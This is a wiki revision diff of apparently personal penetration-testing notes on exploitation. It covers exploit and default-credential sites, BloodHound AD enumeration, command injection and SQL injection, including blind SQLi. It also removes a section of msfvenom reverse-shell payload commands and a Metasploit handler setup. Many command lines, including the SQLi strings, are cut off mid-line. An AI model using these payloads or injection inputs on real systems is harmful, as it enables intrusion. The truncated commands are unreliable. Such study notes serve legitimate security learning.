method_4_exploitation
Differences
This shows you the differences between two versions of the page.
Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
method_4_exploitation [2022/12/29 23:30] – [Medusa] gman | method_4_exploitation [2023/01/12 00:27] (current) – [Defaults] gman | ||
---|---|---|---|
Line 34: | Line 34: | ||
* Daemons & Services | * Daemons & Services | ||
- GOAL: Establish a persistent way in. | - GOAL: Establish a persistent way in. | ||
+ | |||
+ | ===== Resources ===== | ||
+ | |||
+ | Exploit resources can be found in several places. | ||
+ | * Example: GitHub, personal web sites. | ||
+ | * Quality varies and you'll need to assess that quality. | ||
+ | |||
+ | Central sites that specialize in exploits: | ||
+ | - [[https:// | ||
+ | - [[https:// | ||
+ | - [[https:// | ||
+ | - [[https:// | ||
---- | ---- | ||
+ | ====== Defaults ====== | ||
+ | |||
+ | Many folks leave many devices with factory defaults. You can quickly look up the default login creds here: | ||
+ | * https:// | ||
+ | * https:// | ||
+ | * https:// | ||
+ | * [[https:// | ||
+ | |||
+ | ---- | ||
====== Tools ====== | ====== Tools ====== | ||
+ | |||
+ | ===== Bloodhound ===== | ||
+ | |||
+ | [[https:// | ||
+ | |||
+ | **NOTE:** Bloodhound cannot be used by itself. You need to feed this puppy... | ||
+ | * You have to aquire the AD info first using a tool like [[https:// | ||
+ | * You must be a domain member to run it. | ||
+ | * It will enumerate the AD domain. | ||
+ | * Then, you feed the Sharphound info into Bloodhound | ||
+ | - Analyze the results to build a target list. | ||
+ | - Build a list of Domain Admins. | ||
+ | |||
===== curl ===== | ===== curl ===== | ||
Line 101: | Line 135: | ||
---- | ---- | ||
- | ====== MetaSploit | + | ===== MetaSploit ===== |
- | ===== msfvenom | + | See [[cheat_sheets_metasploit| here]]. |
+ | |||
+ | ==== msfvenom ==== | ||
See [[cheat_sheets_various# | See [[cheat_sheets_various# | ||
- | |||
- | ---- | ||
- | |||
- | ===== MSF Handler ===== | ||
- | |||
- | '' | ||
- | |||
- | < | ||
- | use exploit/ | ||
- | set PAYLOAD <Payload name> | ||
- | set LHOST <LHOST value> | ||
- | set LPORT <LPORT value> | ||
- | </ | ||
- | |||
- | ---- | ||
- | |||
- | ===== Non-Meterpreter Binaries ===== | ||
- | |||
- | **Staged Payloads for Windows** | ||
- | |||
- | < | ||
- | # x86 | ||
- | msfvenom -p windows/ | ||
- | |||
- | # x64 | ||
- | msfvenom -p windows/ | ||
- | </ | ||
- | |||
- | **Stageless Payloads for Windows** | ||
- | |||
- | < | ||
- | # x86 | ||
- | msfvenom -p windows/ | ||
- | |||
- | # x64 | ||
- | msfvenom -p windows/ | ||
- | </ | ||
- | |||
- | **Staged Payloads for Linux** | ||
- | |||
- | < | ||
- | # x86 | ||
- | msfvenom -p linux/ | ||
- | |||
- | # x64 | ||
- | msfvenom -p linux/ | ||
- | </ | ||
- | |||
- | **Stageless Payloads for Linux** | ||
- | |||
- | < | ||
- | # x86 | ||
- | msfvenom -p linux/ | ||
- | |||
- | # x64 | ||
- | msfvenom -p linux/ | ||
- | </ | ||
- | |||
- | ===== Non-Meterpreter Web Payloads ===== | ||
- | |||
- | < | ||
- | # asp | ||
- | msfvenom -p windows/ | ||
- | |||
- | # jsp | ||
- | msfvenom -p java/ | ||
- | |||
- | # war | ||
- | msfvenom -p java/ | ||
- | |||
- | # php | ||
- | msfvenom -p php/ | ||
- | </ | ||
- | |||
- | ===== Meterpreter Binaries ===== | ||
- | |||
- | **Staged Payloads for Windows** | ||
- | |||
- | < | ||
- | |||
- | # x86 | ||
- | msfvenom -p windows/ | ||
- | |||
- | # x64 | ||
- | msfvenom -p windows/ | ||
- | </ | ||
- | |||
- | **Stageless Payloads for Windows** | ||
- | |||
- | < | ||
- | # x86 | ||
- | msfvenom -p windows/ | ||
- | |||
- | # x64 | ||
- | msfvenom -p windows/ | ||
- | </ | ||
- | |||
- | **Staged Payloads for Linux** | ||
- | |||
- | < | ||
- | # x86 | ||
- | msfvenom -p linux/ | ||
- | |||
- | # x64 | ||
- | msfvenom -p linux/ | ||
- | </ | ||
- | |||
- | **Stageless Payloads for Linux** | ||
- | |||
- | < | ||
- | # x86 | ||
- | msfvenom -p linux/ | ||
- | |||
- | # x64 | ||
- | msfvenom -p linux/ | ||
- | </ | ||
- | |||
- | ===== Meterpreter Web Payloads ===== | ||
- | |||
- | < | ||
- | # asp | ||
- | msfvenom -p windows/ | ||
- | |||
- | # jsp | ||
- | msfvenom -p java/ | ||
- | |||
- | # war | ||
- | msfvenom -p java/ | ||
- | |||
- | # php | ||
- | msfvenom -p php/ | ||
- | </ | ||
---- | ---- | ||
Line 291: | Line 195: | ||
==== Patator ==== | ==== Patator ==== | ||
- | **Patator** is another brute-force login tool like Hydra and Medusa ([[https:// | + | Patator is another brute-force login tool like Hydra and Medusa ([[https:// |
* It works with a variety of protocols. | * It works with a variety of protocols. | ||
* It's a bit more difficult to use. The author says it's "less script kiddie friendly." | * It's a bit more difficult to use. The author says it's "less script kiddie friendly." | ||
+ | |||
+ | ---- | ||
+ | |||
+ | ====== Injection Attacks ====== | ||
+ | |||
+ | ===== Command ===== | ||
+ | |||
+ | **Command Injection Attacks:** These are attacks that attempt to send commands through a web app to the operating system. | ||
+ | * It would give you the ability to directly manipulate the o/s. | ||
+ | * On Linux, use the '' | ||
+ | |||
+ | **Example: | ||
+ | * When we create our account with the username " | ||
+ | * '' | ||
+ | * Using command injection, you add commands to our user input: | ||
+ | * '' | ||
+ | * This would result in a command like this: | ||
+ | * '' | ||
+ | * And that's bad. | ||
+ | |||
+ | ===== SQLi ===== | ||
+ | |||
+ | |||
+ | **SQL Injection: | ||
+ | |||
+ | < | ||
+ | ' or ' | ||
+ | </ | ||
+ | |||
+ | ==== Tool: SQLMap ==== | ||
+ | |||
+ | Automates SQLi enumeration and exploitation. Use it only after you have manually verified there is indeed an SQLi vulnerability on the target. | ||
+ | |||
+ | ==== Blind SQLi ==== | ||
+ | |||
+ | Blind SQL injection takes two forms: boolean-based (T/F) and timing-based. | ||
+ | |||
+ | **Boolean-Based Blind SQLi:** Uses a boolean (T/F) SQL injection statement to test if the injected code gets through. | ||
+ | - Test for a standard SQL injection vulnerability by placing a boolean TRUE after valid input. | ||
+ | * If it is vulnerable it will match ALL results. | ||
+ | * If it is not vulnerable, you will get a normal result (as if you did not send the '' | ||
+ | - Further test the vulnerability by sending it a boolean FALSE. | ||
+ | * Since 1 never equals 2, this should never return results. | ||
+ | * If it returns results on your valid input, there is no vulnerability | ||
+ | * If it returns no results, then the injection worked. | ||
+ | |||
+ | < | ||
+ | # 1. TRUE test example. Your input into target web app: | ||
+ | [valid input]' | ||
+ | |||
+ | # 2. FALSE test example. Your input into target web app: | ||
+ | [valid input]' | ||
+ | </ | ||
+ | |||
+ | **Timing-Based Blind SQLi:** relies on the amount of time required to process a query. | ||
+ | * If the app returns on the query immediately, | ||
+ | * If there is a delay/pause (based on your query statement) before the return, the injection worked. | ||
+ | * Example: | ||
+ | |||
+ | < | ||
+ | |||
+ | **Tools:** Metasploit & SQLMap. | ||
+ | * They automate these timing-based attacks, making them fairly easy. | ||
---- | ---- | ||
Line 321: | Line 288: | ||
https:// | https:// | ||
- | |||
- | ---- | ||
- | |||
- | ====== SQLi ====== | ||
- | |||
- | **SQL Injection: | ||
- | |||
- | < | ||
- | ' or ' | ||
- | </ | ||
- | |||
- | ===== Tool: SQLMap ===== | ||
- | |||
- | Automates SQLi enumeration and exploitation. Use it only after you have manually verified there is indeed an SQLi vulnerability on the target. | ||
---- | ---- |
method_4_exploitation.1672356656.txt.gz · Last modified: by gman